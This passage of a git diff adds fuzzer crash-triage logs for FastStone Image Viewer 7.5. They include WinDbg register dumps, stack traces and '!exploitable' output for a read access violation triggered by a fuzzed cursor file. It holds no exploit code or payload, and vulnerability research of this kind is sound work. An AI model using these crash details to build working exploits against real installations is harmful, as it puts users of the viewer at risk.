+STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01101a9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b946113 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bfccb48 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x674: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x674: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(674.13b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07f87b10 edx=00003879 esi=cfe30010 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.430293700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.97674e+017 2.50519e+036 -2.12472e-028 -3.6443e+028 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d8000 63339234 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629b 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bfccb48 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x674: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x674: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(674.13b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07f87b10 edx=00003879 esi=cfe30010 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.430293700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.97674e+017 2.50519e+036 -2.12472e-028 -3.6443e+028 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d8000 63339234 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629b 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] 